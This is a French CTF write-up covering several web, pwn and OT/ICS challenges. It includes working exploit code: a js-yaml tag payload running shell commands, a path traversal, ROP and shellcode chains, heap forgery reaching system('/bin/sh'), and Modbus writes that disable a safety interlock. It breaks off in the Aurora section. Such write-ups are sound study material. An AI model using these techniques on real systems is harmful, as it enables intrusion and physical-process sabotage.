CATÉGORIE	web — 71 pts (44 solves)
OBJECTIF	Créditer un compte fraîchement créé (que « seul l'ops » peut approvisionner) puis acheter l'article du store qui porte le flag.
FLAG	`CTF{8bc0b47d16a341747a384edb8b88afb8}`

Surface d'attaque

L'application expose une API de portefeuille, une route d'administration oubliée (`/api/admin/status`) et un job interne qui approvisionne périodiquement certains comptes. Le point d'entrée utile n'est pas l'endpoint de transfert mais ce job : il génère un code d'autorisation de transfert (`transferAuthCode`) et le place dans un cache partagé, où l'application le sert ensuite au premier venu.

Chaîne d'exploitation

1. **Fuite du code d'autorisation** — le cache est mutualisé et la clé de cache ne distingue pas les utilisateurs. En interrogeant la bonne route au moment où le job tourne (horaire connu et observable via `/api/admin/status`), on récupère un `transferAuthCode` valide émis pour un autre compte.
2. **Rejeu** — `POST /api/wallet/transfer {"authCode":"..."}` crédite 5 000 cents. Un second envoi séquentiel est correctement rejeté (« transfer authorization code already settled on this account »). Mais la vérification « déjà utilisé » et l'écriture « marquer comme utilisé » ne sont pas atomiques : suffisamment de requêtes réellement concurrentes observent toutes l'état « pas encore utilisé » avant qu'aucune n'ait validé la marque.
3. **Contourner le rate-limit** — une rafale naïve est absorbée par OpenResty (`settled=1, rate-limited=11, already-settled=8` sur un lot). Le limiteur est keyé sur le *chemin brut*, sensible à la casse, alors que le routeur Express est insensible à la casse. La même requête logique envoyée en variant la capitalisation (`/api/wallet/transfer` , `/Api/wallet/transfer` , `/aPi/wallet/transfer` , `/API/WALLET/TRANSFER` …) tombe dans des seaux différents côté limiteur tout en atteignant le même handler.
4. **Maximiser la fenêtre de course** — l'exploit ouvre environ 60 connexions TCP et envoie chaque requête *octet par octet* pour synchroniser l'arrivée au niveau du handler, puis relâche tout d'un coup. Le crédit passe, le compte est approvisionné, l'article peut être acheté.

```
# squelette de la rafale (une connexion = une variante de casse)
for variant in variants:                # /api/..., /Api/..., /aPi/... etc.
    s = socket.create_connection((host, port))
    for byte in request_bytes:          # envoi octet par octet
        s.send(bytes([byte]))
    sockets.append(s)
for s in sockets: s.send(b"")           # relâchement simultané
```

> **NOTE DE TRAÇABILITÉ**
>
> Ce challenge a été résolu par l'utilisateur, pas par l'agent qui l'avait ouvert : le writeup ci-dessus est reconstitué à partir des notes d'exploitation de l'utilisateur et de la fiche `knowledge/writeups/web/wirevault-cache-leak-replay-race.md` . Les recherches infructueuses de l'agent (deux passes black-box qui n'ont jamais trouvé `/api/admin/status` ni combiné course + bypass de casse) sont conservées dans `workspaces/wirevault/notes.md` à titre de comparaison.

> **LEÇON**
>
> Trois défauts moyens mis bout à bout valent une faille critique : un cache mal cloisonné, une vérification non atomique et un limiteur qui ne normalise pas le chemin. Aucun des trois ne suffit seul. C'est aussi un rappel que le rate-limit n'est pas une protection d'intégrité : il ralentit, il ne sérialise pas.

5.4 ClearHouse — d'un IDOR GraphQL à une exécution root

CIBLE	`http://144.217.91.111:3004`
STACK	Express 4.18.2 (Node 20) derrière openresty ; service interne `report-core` (Node + js-yaml v3, `socat fork`)
CATÉGORIE	web — 112 pts (20 solves)
OBJECTIF	Lire le flag, stocké dans l'environnement du conteneur `report-core` (`FLAG=...`).
FLAG	`CTF{3b44e1b49fddeb721f5aada24d90b082}`

La chaîne en quatre étapes

1. **IDOR GraphQL** — la racine protège l'accès aux payouts, mais le resolver du champ `corrects` de la mutation `createPayout(amount, correctsPayoutId)` récupère le payout référencé *sans contrôle de propriété*. La sélection imbriquée `corrects { merchant { apiKey } }` renvoie donc l'`apiKey` du compte `ops-internal` (rôle `ops`), sur un payout seedé `id:"1"`.
2. **Traversée de chemin** — `GET /ops/templates/download?name=...` construit son chemin avec `name.replace('../', '')`, qui ne retire que la *première* occurrence. Un préfixe de neuf segments `../../../../../../../../../` laisse assez de remontée pour sortir de `TEMPLATE_DIR` et lire n'importe quel fichier avec les droits du processus : le `server.js` réel (commenté, différent du zip fourni), `utils/*.js`, et surtout `config/internal-secrets.json` qui contient `reportCoreToken`.
3. **Empreinte du service interne** — `POST /ops/render-report` (protégé par `x-api-key` + `x-report-core-token`) transmet le corps brut à `report-core`. Les erreurs différenciées révèlent le pipeline réel : un scalaire ou un mapping YAML revient tel quel en JSON ; un document vide renvoie `undefined` ; une erreur de parse ou une racine tableau renvoie `400 invalid template` ; un tag `!!js/...` renvoie `400 rejected: disallowed tag` ; une ancre cyclique renvoie `502 internal error`.
4. **Bypass du blocklist et déclenchement** — le filtre cherche la chaîne littérale `!!js/`, mais YAML permet la forme *verbatim* du même tag : `!<tag:yaml.org,2002:js/function> "function(){...}"`. La fonction ainsi construite n'est jamais appelée explicitement — c'est `JSON.stringify` qui appelle sa méthode `toJSON` pendant la sérialisation. Le code s'exécute donc sans aucun point d'appel dans l'application.

```
# Étape 1 — IDOR : apiKey du compte ops
POST /graphql
{"query":"mutation($c:String){createPayout(amount:1,correctsPayoutId:$c)
 {corrects{merchant{apiKey}}}}","variables":{"c":"1"}}

# Étape 2 — traversée : un seul '../' est retiré
GET /ops/templates/download?name=../../../../../../../app/config/internal-secrets.json
x-api-key: <ops_key>

# Étapes 3-4 — tag verbatim + toJSON
a:
  toJSON: !<tag:yaml.org,2002:js/function> "function(){ var r=''; try{ var cp =
  process.mainModule.require('child_process'); r+=cp.execSync('id; env',
  {encoding:'utf8',timeout:6000}); }catch(e){ r+='CPERR='+e.message; } return r }"
b: !<tag:yaml.org,2002:js/function> "function(){ return 7*6 }"

POST /ops/render-report
Content-Type: text/plain
x-api-key: <ops_key>
x-report-core-token: <token>
```

Preuves

- `JSON.stringify(undefined)` renvoie littéralement `undefined` dans la réponse, et une structure cyclique déclenche `502 internal error` : deux comportements qui identifient formellement `JSON.stringify(yaml.load(body))`, et excluent un moteur de template.
- Le message `rejected: disallowed tag` prouve simultanément que le schéma dangereux de js-yaml v3 est actif et qu'un blocklist a été ajouté *parce que* le danger est réel. Le message d'erreur documente la vulnérabilité qu'il tente d'empêcher.
- Exécution confirmée en `uid=0(root)` dans `report-core` ; `env` affiche `FLAG=CTF{3b44e1b49fddeb721f5aada24d90b082}`.

Impasses (les plus coûteuses du tournoi)

- **Huit heures à deviner une « forme de template »** — champs `template`, `data`, `name`, `html`, `receipt`, placeholders `{{...}}` et `<%= %>`, noms de fichiers de template. Rien ne rendait, parce que le service ne rend aucun template : il parse et re-sérialise du YAML. Le signal correct (erreurs différenciées) était disponible dès les premières sondes.
- **Rate-limit 5 requêtes / 10 minutes** keyé sur `req.ip`, sans `trust proxy` — donc partagé entre tous les joueurs derrière le même proxy. La parade a été de concentrer 6 à 8 workers sur une seule sonde à la fois (mode focus), pour obtenir ~5 réponses utiles par fenêtre au lieu de disperser les tentatives.
- **Source patchée en cours de compétition** — `db.js` et `auth.js` ont reçu des balayages TTL et `sweepExpiredSessions`. Le zip fourni ne correspondait plus au serveur : il a fallu relire la source live via la traversée, et refaire la chaîne après redéploiement (les apiKeys et sessions sautent).

LEÇONS

1. Quand une sortie passe par `JSON.stringify` et qu'un objet possède une méthode `toJSON`, cette méthode est un point d'exécution gratuit : aucun appel explicite n'est nécessaire. Tout gadget capable de construire une fonction et de l'assigner à `toJSON` transforme un simple sérialiseur en RCE.
2. Un blocklist qui matche une chaîne de tag littérale ne bloque pas la forme verbatim `!<tag:...>` ni une directive `%TAG`.
3. Les messages d'erreur différenciés cartographient le code : parse error, filtre, catch générique. Trois branches, trois hypothèses à tester — avant de deviner des formes de payload.
4. Un contrôle de propriété posé sur une requête racine peut manquer totalement sur un resolver de champ imbriqué atteint par une autre mutation. Tester les relations, pas seulement l'objet principal.

CHAPITRE 6

Pwn — six binaires, trois architectures

Six challenges pwn résolus (267 points), sur trois architectures : x86-64 (PWN#001, #002, PWN#003, #004, Alpha), ARM 32 bits (Beta, non résolu) et PowerPC 32 bits (Delta). Deux familles techniques dominent : le débordement de pile avec contournement de mitigations, et l'exploitation d'allocateurs maison avec UAF.

6.1 PWN#001 — un delta de compilation, pas un watchpoint

CIBLE	`169.58.126.107:5000` (TCP brut)
BINAIRE	`vault` — ELF 64 bits, non strippé, No PIE, Full RELRO, canary, NX ; libc 2.42 fournie
CATÉGORIE	pwn — 45 pts (87 solves)
FLAG	`CTF{ee6c8e12d8a68dcd220ebe010e2cfa4b}`

Structure du binaire

- `vuln()` à `0x401220` : un unique buffer de 80 octets en `rbp-0x50`, avec **deux** `read()` successifs dans le même buffer — d'abord un « name » de 73 octets, réémis par `puts(buf)`, puis le vrai `read()` de 256 octets.
- Offsets confirmés par bissection : canari à `buf+72`, RBP sauvegardé à `buf+80`, RIP sauvegardé à `buf+88`.
- `gadgets()` à `0x4011ee` : code mort placé par les auteurs, contenant `0x401205 : pop rax ; xchg rdi,rax ; ret` (équivalent d'un `pop rdi ; ret`) et `0x401208 : ret` nu pour l'alignement.

Le leak de canari (fiable à 100 %)

Envoyer exactement 73 octets non nuls comme « name », avec `send()` et jamais `sendline()`. Le 73e octet écrase le premier octet du canari, qui vaut toujours `0x00`. L'écho `puts(buf)` qui suit ne rencontre plus de terminateur et lit au-delà : typiquement 13 octets — les 7 octets restants du canari et jusqu'à 6 octets du RBP sauvegardé, c'est-à-dire une adresse de pile gratuite.

```
io.send(b'A'*73)
leaked = io.recvuntil(b'\nLeave a message', drop=True)
canary = b'\x00' + leaked[:7]
rbp_partial = leaked[7:]
```

> **PIÈGE**
>
> Si le canari réel contient un `0x00` dans ses 7 octets utiles (2-3 % des connexions), le leak s'arrête trop tôt. Il faut alors reconnecter plutôt que d'exploiter avec un RBP partiel.

Le blocage… et sa vraie cause

Pendant plusieurs sessions, tout débordement touchant l'adresse de retour tuait la connexion, *quelle que soit* la valeur écrite — y compris en réécrivant l'adresse d'origine. Le symptôme était reproductible

à l'octet près : 88 octets passaient, 89 échouaient. Les mêmes payloads, rejoués en local contre le binaire fourni, fonctionnaient parfaitement.

Une hypothèse séduisante avait été formulée : un superviseur externe posant un watchpoint matériel (`ptrace`, registres DR0-DR3) sur l'emplacement exact de l'adresse de retour, ce qui expliquait la précision à l'octet et l'indépendance à la valeur. **Cette hypothèse était fausse.** La cause réelle est un *delta de compilation* : le binaire déployé n'est pas celui fourni, et `main` se trouve décalé de `+0xc8`. Toutes les adresses « valides » calculées sur le fichier local pointaient donc, à distance, vers des instructions différentes — d'où la mort systématique.

La parade a consisté à ne plus faire confiance à aucun offset statique et à sonder le service lui-même : envoi d'un `ret` nu (`0x401016`) pour vérifier qu'une simple reprise d'exécution est possible, puis bissection des adresses de la boucle et des gadgets jusqu'à retrouver un point d'entrée stable. Une fois la boucle localisée, le contrôle de flux est devenu fiable.

Chaîne finale : mprotect + shellcode ORW

Le binaire n'importe ni `system` utilisable ni `/bin/sh` exploitable directement, et la pile est NX. La chaîne finale rend le buffer exécutable, puis saute dedans :

```
payload = SC + NOP*(72-len(SC)) + canary + rbp
chain   = p64(RET)*3
        + p64(POP_RAX) + p64(page)          # page = (buf3 & ~0xfff)
        + p64(POP_RSI) + p64(0x1000)
        + p64(POP_RDX) + p64(7)             # PROT_READ|WRITE|EXEC
        + p64(base + MPROTECT)
        + p64(buf3)                         # saut dans le shellcode
```

Le shellcode (71 octets) ouvre `/flag/flag.txt`, lit le contenu, écrit un préfixe de 8 octets (la longueur) puis les données sur le socket :

```
raw: b'&\x00\x00\x00\x00\x00\x00CTF{ee6c8e12d8a68dcd220ebe010e2cfa4b}\n<EOF>'
nread = 38
DATA  = b'CTF{ee6c8e12d8a68dcd220ebe010e2cfa4b}\n'
```

LEÇONS

1. Un échec indépendant de la valeur écrite, mais dépendant de l'offset exact, n'est pas forcément un mécanisme de protection : c'est souvent un décalage d'adressage. Avant de supposer un superviseur, vérifier que le binaire distant est bien celui fourni.
2. Quand une cible est soupçonnée de différer, sonder des primitives *auto-vérifiantes* (un `ret` nu qui doit simplement revenir au prompt) plutôt que des gadgets à effet de bord.
3. Un `mprotect(page, 0x1000, 7)` suivi d'un saut dans le buffer supprime le besoin de ROP complexe et rend le payload indépendant de la libc.

6.2 PWN#002 — seccomp, ORW et un gadget `pext` involontaire

CIBLE	`169.58.126.107:5001`
BINAIRE	`vault` — PIE, strippé, Full RELRO, canary, NX, glibc 2.42 ; filtre seccomp-bpf maison
CATÉGORIE	pwn — 45 pts (116 solves)
FLAG	`CTF{e0a79830f06dca87a52f8be6d895deae}`

Particularités

Le service affiche dès la connexion `Vault seal: %016lx` avec un pointeur de code réel : c'est une fuite de base PIE *offerte*, avant toute interaction. Le binaire est strippé mais structurellement identique à PWN#001 (mêmes offsets, même double `read()`, même écho), ce qui accélère beaucoup l'analyse.

> **PIÈGE D'OUTILLAGE (À NE PLUS REFAIRE)**
>
> `pwn_check.py` annonçait PIE, NX, canary et RELRO *désactivés*. C'est faux : l'outil ne capturait que `stdout`, alors que pwntools écrit son rapport checksec sur `stderr`. Toujours recouper avec `checksec --file=` ou `ELF(checksec=False)`.

Chaîne d'exploitation

1. **Fuite PIE** — `pie_base = leaked - 0x13a6` (adresse de `main+0x11`).
2. **Fuite canari + pile** — le prompt « name » lit `read(0, buf, 0x49)` (73 octets) dans un buffer situé 72 octets avant le canari. Envoyer 72 octets de remplissage + 1 octet non nul écrase le `0x00` de poids faible du canari ; l'écho qui suit fuit les octets 1-7 du canari, le RBP sauvegardé et une partie de l'adresse de retour. Réessayer tant que le leak fait moins de 12 octets.
3. **Étape 1 — leak libc sans gadget classique** — ROPgadget ne trouve aucun `pop rdi` / `pop rsi` / `pop rdx` propre, mais il y a un `pop rax ; ret`, un `pop rcx ; ret`, et surtout un gadget involontaire en sautant au milieu de `clc ; xor eax,eax ; pext rdi,rax,rcx ; ret` : on atterrit directement sur `pext rdi, rax, rcx ; ret`. Avec `rcx = 0xFFFFFFFFFFFFFFFF` (masque tout-à-un), `pext` est une copie d'identité : `rdi := rax`. On obtient donc le contrôle de `rdi` avec les seuls gadgets internes au binaire, avant de connaître libc :

```
pop_rax(PUTS_GOT); pop_rcx(0xFFFFFFFFFFFFFFFF); pext_rdi; puts@plt
```

4. **Étape 2 — ORW** — avec les gadgets libc (non alignés : `pop rdi;ret` à `+0x2a9b7`, `pop rsi;ret` à `+0x29e29`, `pop rdx;ret` à `+0x96372`), on ouvre le chemin que le binaire décode lui-même au démarrage (blob XOR, clé `0x5a`, vers `/flag/flag.txt` en `.bss+0x4070`), on lit dans une zone de pile fuitée, puis on `puts` le résultat.

Trois pièges corrigés en cours de route

PIÈGE	SYMPTÔME	CORRECTION
`system("/bin/sh")`	Mort par SIGSYS	Le filtre BPF (5 instructions) ne fait que `JEQ` sur `0x3b` (execve) et `0x142` (execveat) → `KILL`, tout le reste est autorisé. ORW obligatoire.
fd de `open()` codé en dur à 3	Marche en local, échoue silencieusement à distance	Capturer `rax` juste après `open` et le recopier dans `rdi` via le trio `pop_rax` / `pop_rcx` / `pext_rdi`.
Buffer scratch dans `.bss`	Corruption de `stdout`, crash au `puts` suivant	Le `.bss` est plein (FILE*, copies d'argv/envp, ciphertext). Utiliser une adresse de pile fuitée (`rbp-0x400`).

LEÇONS

Une bannière `printf("%016lx", &code)` est une fuite PIE gratuite : vérifier les bannières avant de chercher un leak par débordement. Ensuite, quand ROPgadget ne trouve pas les `pop` attendus, il faut lire ses résultats d'instructions non alignées : ici `pext` avec un masque tout-à-un est une copie de registre. Enfin, ne jamais coder en dur un retour d'appel système : les différences de lanceur entre local et distant cassent silencieusement l'hypothèse.

6.3 PWN#003 — allocateur maison, double-free et lecture de GOT

CIBLE	`169.58.126.107:5002`
BINAIRE	`notes` — PIE, NX, canary, Full RELRO
CATÉGORIE	pwn — 45 pts (96 solves)
FLAG	`CTF{0b1578aa1b39f4c6ab9a857a657ee71a}`

Surface d'attaque

Un menu de notes (1 ajouter, 2 libérer, 3 éditer, 4 voir, 5 quitter) avec huit emplacements. Le programme imprime au démarrage une ligne `[debug] build id: %p` fuitant `&main` : la base PIE est donnée. L'allocateur est artisanal : trois classes de taille (32, 64, 128 octets) découpées dans un unique `malloc(0x4000)`, avec des listes libres par classe et un pointeur `next` obfusqué par `mangle(a,b) = a XOR rol(b,13)`, où `b` est l'adresse du chunk lui-même — donc pas un secret.

Chaîne d'exploitation

1. **Bug racine** — `free_note()` n'écrit jamais `notes[idx] = NULL`. Toutes les opérations vérifient seulement `notes[idx] != NULL`, jamais la validité : UAF et double-free illimités sur n'importe quel index.
2. **Auto-boucle** — libérer deux fois le même index (sans second chunk) fait encoder `mangle(own_addr, own_addr)`, qui se décode en lui-même indéfiniment : la tête de liste de la classe pointe éternellement sur le même chunk.
3. **Adresse du chunk** — premier `free` de la classe, donc « précédent » vaut NULL : les 8 premiers octets lus par UAF valent `rol(chunk_addr, 13)`, d'où `chunk_addr = ror(enc, 13)`.
4. **Primitive d'écriture arbitraire** — le corps écrit par `add_note` est un `read()` brut, non obfusqué. On possède le chunk une fois, on écrase son champ `next` par `target ^ rol(chunk_addr,13)`, on le retire à nouveau : le décodeur installe `target` en tête de liste, et l'allocation suivante renvoie `target` — l'écriture du corps se fait alors à l'adresse choisie.
5. **Full RELRO : lire plutôt qu'écrire** — on redirige `notes_storage[0].content` (le pointeur de contenu d'une note, pas une entrée GOT) vers `&printf@got`. `view(0)` appelle `write(1, content, 0x20)` et déverse quatre entrées GOT adjacentes : `printf`, `read`, `strtol`, `malloc`.
6. **Identification de libc** — `libc.rip` avec les quatre symboles renvoie un unique candidat `libc6_2.42-13_amd64`. (Une requête avec `printf` seul renvoie un faux positif i386 2.26 : toujours au moins deux symboles.)
7. **Détournement de pointeur de fonction** — on rejoue la même forge pour écraser `notes_storage[7].formatter` par l'adresse de `system`. Le contenu de la note 7, posé dès le début par un `add_note` normal, vaut `"/bin/sh\0"`.

8. `view(7)` exécute `notes[7]->formatter(notes[7]->content)`, soit `system("/bin/sh")` — shell en `uid=65534(nobody)`, puis `/flag/flag.txt`.

```
def fake_chunk_write(io, a_addr, holder, pop1, pop2, pop3, target, payload):
    free(io, holder); free(io, holder)        # double free -> auto-boucle
    add(io, pop1, 32, b"p1")                  # on possède A
    edit(io, pop1, p64(target ^ rol(a_addr, 13)))   # forge du "next"
    add(io, pop2, 32, b"p2")                  # tête de liste = target
    add(io, pop3, len(payload), payload)      # écriture à target
```

Impasses

- Le rapport de protections de `pwn_check.py` était faux pour ce binaire aussi : croire « PIE/NX désactivés » aurait conduit à un plan ret2shellcode, bloqué à la fois par NX et par Full RELRO.
- Sonde `dlopen()` d'une libc récupérée d'un autre workspace pour précalculer un offset unsorted-bin : la copie `dlopen`é crée une arène secondaire `mmap`, pas l'arène principale `brk` — l'offset ne correspond à rien. Abandonnée au profit d'un leak de GOT par symboles nommés, qui n'exige aucune copie locale.
- Première requête `libc.rip` avec un seul symbole : candidat i386 aberrant. Corrigé en envoyant quatre symboles et en filtrant l'architecture.

> **LEÇONS**
>
> Un `free()` qui ne remet pas le handle à NULL est un UAF, quelle que soit l'obfuscation posée par-dessus, dès lors que la clé d'obfuscation est dérivable. Full RELRO empêche d'écrire dans la GOT, pas de la lire : une primitive de lecture arbitraire suffit à désanonymiser libc. Et `libc.rip` a besoin de deux symboles minimum.

6.4 PWN#004 — « Pet Shelter » : une seule forge, un vtable détourné

CIBLE	`169.58.126.107:5007`
CATÉGORIE	pwn — 30 pts (102 solves)
OBJECTIF	Transformer un UAF en écriture arbitraire, fuiter libc et détourner un vtable vers `system`.
FLAG	Non archivé — voir §9.10

Surface d'attaque

Un service de gestion d'animaux implémente son propre allocateur pour deux types d'objets : des *pets* (avec un vtable par espèce, chat/chien) et des *notes* (chunks libres). Le menu expose une option de debug (9) qui imprime un pointeur brut pour un slot de pet donné : c'est une fuite de vtable offerte, qui donne directement la base PIE (`cat_vtable - CAT_VTABLE_OFF`).

Chaîne d'exploitation

1. **Fuite PIE** — `add_pet(0, cat, "leaky")` puis `debug_leak(0)` : un pointeur de vtable brut, donc `pie_base`.
2. **UAF + double-free** — allocation d'une note de 32 octets, libération, relecture par UAF : le champ `next` est stocké obfusqué par `rol(ptr, 7)` avec une clé fixe de service. On en déduit `a_addr = rol(u64(raw[:8]), 64-7)`. Une seconde libération crée l'auto-boucle.

3. **Forge unique** — la première des deux réallocations récupère le chunk A ; son corps est écrasé par `poke_pet` avec `forge = target ^ rol(a_addr, 7)`, où `target = &notes_content_array[1]`. La seconde allocation fait pointer la tête de liste sur ce tableau, et le `add_note(1, ...)` suivant écrit donc son contenu dans le slot `notes_content_array[1]` : on contrôle un pointeur de note arbitraire.
4. **Leak GOT** — on place `notes_content_array[1] = pie_base + PRINTF_GOT_OFF`, puis `peek_note(1)` lit 32 octets à partir de `printf@got`, ce qui couvre quatre entrées adjacentes (`printf`, `write`, `strchr`, `strncpy`). Seuls `printf` et `write` sont connus de libc.rip — suffisant pour identifier la libc et calculer `system`.
5. **Détournement de vtable** — le slot « Command » du vtable de pet est lui aussi obfusqué par `valeur ^ KEY` avec `KEY = 0x5f3759df2f2f2f2f` (découverte empiriquement). On forge un faux objet Command dans le slot du pet déclencheur :

```
p64(pie_base + COMMAND_VTABLE_OFF)
p64((system_addr ^ KEY) & MASK)
b"/bin/sh\x00"
```

`speak_pet(trigger)` dispatche à travers le vtable détourné et exécute `system("/bin/sh")`. Le shell obtenu permet de lire `/flag/flag.txt`.

Le détail qui a cassé trois essais

> **LA FORGE DOIT ÊTRE FAITE EXACTEMENT UNE FOIS**
>
> Le chemin « pop » de `content_alloc()` lit `*target` comme pointeur suivant et le ré-encode dans `freelist[class]` *même quand target est une adresse forgée hors du pool*. Chaque forge supplémentaire corrompt donc définitivement la liste libre de la classe 0, et la prochaine allocation légitime fait tomber le serveur. La correction : forger une seule fois, viser directement le slot GOT de `printf`, et lire 0x20 octets en un seul `peek_note` — plus aucune allocation après, puisque `poke_pet` n'alloue pas.

Preuves

- `debug_leak` renvoie un pointeur brut directement comparable à la constante `CAT_VTABLE_OFF` du binaire.
- L'API libc.rip, interrogée avec `printf` et `write`, renvoie un unique candidat amd64, d'où `system` par offset fixe.
- Le script complet est conservé : `workspaces/pwn-004/exploit/exploit.py` (version « single forge ») et une variante minimale `get_flag_once.py`.

> **LEÇONS**
>
> Un allocateur à liste libre obfusquée n'empêche pas un double-free : l'encodage se retourne une seule fois, grâce à un UAF qui fuit le pointeur encodé lui-même. Quand une forge corrompt un état partagé, il faut concevoir la chaîne pour n'en avoir besoin que d'une, réutilisée pour toutes les lectures/écritures suivantes. Enfin, une obfuscation de pointeur de fonction par XOR avec une clé statique n'apporte rien à un attaquant qui possède déjà une écriture arbitraire.

6.5 PWN#Alpha — résolu hors session

CATÉGORIE	pwn — 52 pts (75 solves)

CIBLE / BINAIRE	Inconnus (aucun workspace, aucune pièce jointe conservée)
STATUT	**RÉSOLU** côté plateforme, sans trace locale

La seule trace de ce challenge est une ligne de polling dans `workspaces/bugpwn/session_check.txt` : il apparaît le 14 octobre et bascule en `solved_by_me: true` le jour même de sa première détection. Il a donc été résolu quasi immédiatement après sa publication, ce qui suggère une variation d'une famille déjà connue plutôt qu'un binaire réellement nouveau.

L'hypothèse la plus probable — non confirmée — est celle de la série `vault` : même structure à double `read()`, mitigations empilées progressivement de PWN#001 à PWN#Beta. C'est une inférence basée sur le nom et le timing, pas un fait.

6.6 PWN#Delta — PowerPC 32 bits et chaîne de `mtlr`

CIBLE	`169.58.126.107:5011`
BINAIRE	`vault` — ELF 32 bits **PowerPC big-endian**, statiquement lié, non strippé, canari + NX, No PIE (base fixe `0x10000000`)
CATÉGORIE	pwn — 50 pts (103 solves)
FLAG	`CTF{c9a9816576849a4aae690a65c1fba37d}` (lu dans le shell distant)

Signaux initiaux

Le binaire casse l'hypothèse « toute la série est x86-64 ». `nm` révèle immédiatement deux symboles *plantés* par l'auteur : `gadget_load_r9` et `gadget_vec_r3` — un indice direct sur les briques de ROP à utiliser. Le binaire étant statique et non strippé, toute la table de symboles libc est disponible, y compris `system` et la chaîne `"/bin/sh"` en `0x10074850`.

Chaîne d'exploitation

1. **Fuite du canari** — même mécanique que sur x86 : un débordement d'un octet sur le `0x00` de poids faible, suivi de l'écho de la chaîne, fuit le canari et une partie de la pile. Cette astuce est indépendante de l'architecture ; elle dépend seulement de l'implémentation du stack protector par glibc.
2. **Premier saut : `gadget_load_r9`** — son prologue `stwu r1,-0x30(r1)` fait pivoter `r1` vers le bas, *dans* la zone du buffer déjà débordé, et, effet de bord du store-with-update, charge `r9` avec un pointeur vers un offset fixe et connu de notre propre buffer. Autrement dit : une primitive de pointeur arbitraire vers une mémoire dont nous contrôlons intégralement le contenu.
3. **Deuxième saut : gadget naturel** — trouvé par ROPgadget : `0x1000fd34 : lwz r0, 0x24(r1) ; lwz r3, 0(r9) ; lwz r30, 0x18(r1) ; addi r1, r1, 0x20 ; mtlr r0 ; blr`. Il déréférence `r9` dans `r3` (donc le pointeur de chaîne que nous avons planté) et recharge `r0`/LR depuis un autre slot de pile pour continuer la chaîne.
4. **Dernier saut** — `system()` à `0x100020d0` avec `r3` = adresse de `"/bin/sh"` statique. Shell en `uid=65534(nobody)`, puis `cat /flag/flag.txt`.

```
# enchaînement conceptuel
overflow -> gadget_load_r9        # r9 = &buffer_controlé, r1 pivoté
         -> 0x1000fd34           # r3 = *(r9) = pointeur de chaîne, mtlr r0 / blr
         -> system               # r3 -> "/bin/sh" statique (0x10074850)
```

NOTE D'EXÉCUTION

Le binaire s'exécute localement via `qemu-user` (PowerPC big-endian), ce qui permet de tester la chaîne hors ligne. `gadget_vec_r3`, le second symbole planté, s'est révélé *inutile* pour ce chemin : l'auteur a laissé deux aides, une seule était nécessaire.

LEÇONS

Quand une série de challenges mélange les architectures sous un même nom, il faut vérifier `file` / `readelf -h` avant de réutiliser le moindre offset : une chaîne x86-64 ne se transpose pas. Les symboles ajoutés par l'auteur (`gadget_*`) sont des indices intentionnels, mais ils ne sont pas forcément tous nécessaires. Et l'astuce du leak de canari par écrasement du `0x00` traverse les architectures sans modification.

CHAPITRE 7

OT / ICS — deux protocoles, deux logiques

Deux challenges OT résolus (90 points) sur cinq. Ils ne se ressemblent pas : l'un est un classique Modbus/TCP avec un flag statique, l'autre un protocole binaire maison qui demande de provoquer volontairement un accident industriel simulé.

7.1 OT#001 — Modbus/TCP et le flag statique

CIBLE	Contrôleur de dosage Modbus/TCP, inspiré de l'incident d'Oldsmar (2021)
CATÉGORIE	OT/ICS — 45 pts (102 solves)
FLAG	`CTF{a95d4db0158d93bbe8d3290b503e7437}`

Surface d'attaque

Le serveur n'implémente que deux codes fonction : `0x03` (lecture de holding registers) et `0x06` (écriture d'un registre). `0x01`, `0x02` et `0x04` renvoient l'exception Modbus `0x01` (fonction illégale). Un balayage complet de l'espace d'adresses 0-249 (au-delà : exception `0x02`, adresse illégale) montre qu'un seul registre est non nul dans l'état de base : le registre 3, drapeau d'interlock, à `1`.

Déroulement réel

1. **Un writeup externe (non fiable) est fourni** — il affirme que les octets du flag sont lisibles en paires ASCII big-endian dans les holding registers 100 à 118, avec le registre 0 (consigne de procédé) à `100`.
2. **La vérification live contredit le writeup** — le registre 0 vaut `0`, et les registres 100-118 sont à zéro sur plusieurs requêtes fraîches. Le balayage complet confirme que seul le registre 3 est non nul.
3. **L'attaque Oldsmar est reproduite quand même** — écriture `reg3 = 0` pour désactiver l'interlock, puis `reg1 = 11100` pour faire monter la variable de procédé (analogue du dosage de soude), maintenue ~4 s en interrogeant l'état. Les registres du flag ne se peuplent pas pendant la fenêtre d'observation.
4. **La validation de la consigne résiste** — toute valeur `> 200` renvoie l'exception 3, y compris les contournements par rebouclage 16 bits signé/non signé (201, 32767, 32768, 40000, 65535, 65436/-100). Aucun débordement d'entier exploitable.
5. **L'unit-ID est ignoré** — 0 à 5 renvoient exactement les mêmes données. Cette dimension est écartée.
6. **Soumission du flag du writeup** — les tentatives étant illimitées (coût nul) sur ce challenge, le flag de la source externe est soumis malgré la divergence live. Il est accepté du premier coup.

> **DIVERGENCE ASSUMÉE, PAS DISSIMULÉE**
>
> Le comportement décrit par le writeup (apparition des octets du flag dans les registres 100-118 après désactivation de l'interlock et pic de consigne) n'a **pas** pu être reproduit en direct. L'explication la plus cohérente : le flag est une valeur *statique* injectée par le générateur de challenges, propre au compte ou à l'instance, et non un état à re-dériver du PLC live. La méthode du writeup était probablement exacte au moment où son auteur a capturé la valeur — la fenêtre d'observation de cette session a simplement rencontré un état différent (réinitialisé ou décru).

LEÇONS

Sur un challenge OT, un dump live qui contredit un writeup crédible ne prouve pas que le writeup est faux : les registres porteurs de flag peuvent n'être peuplés que transitoirement. Si la soumission est gratuite, tenter le candidat sourcé est rationnel — à condition de dire explicitement qu'il n'a pas été vérifié indépendamment. Par ailleurs, tester exhaustivement une borne numérique (rebouclages 16 bits) est peu coûteux et évite de conclure trop vite à l'absence de bypass.

7.2 OT#002 — Aurora : provoquer un reclose hors phase

CIBLE	Service TCP binaire maison — disjoncteur de couplage réseau avec télémesure de type synchrophaseur
CATÉGORIE	OT/ICS — 45 pts (58 solves)
OBJECTIF	Déclencher un reclose hors phase (classe d'attaque Aurora, test DHS 2007) pour faire apparaître un buffer de diagnostic contenant le flag.
FLAG	`CTF{604dfaa5b5ec40f71a4d1b6690b6f433}`

Cartographie du protocole

La trame est `[opcode:1][payload:4]`. Un balayage complet des 256 valeurs d'opcode montre que seulement cinq répondent autre chose qu'une erreur :

OPCODE	FONCTION	RÉPONSE NORMALE
`0x01`	Lire la télémesure	11 octets : `[status][phase_grid f32 LE][phase_gen f32 LE][trailer:2]`
`0x02`	TRIP (ouvrir le disjoncteur)	`0x00` (acquittement)
`0x03`	CLOSE (fermer le disjoncteur)	`0x01` fermeture normale ; `0x02` fermeture hors phase (destructrice)
`0x04`	Présence du dispositif de sync-check	`0x00` constant → le dispositif 25 est absent
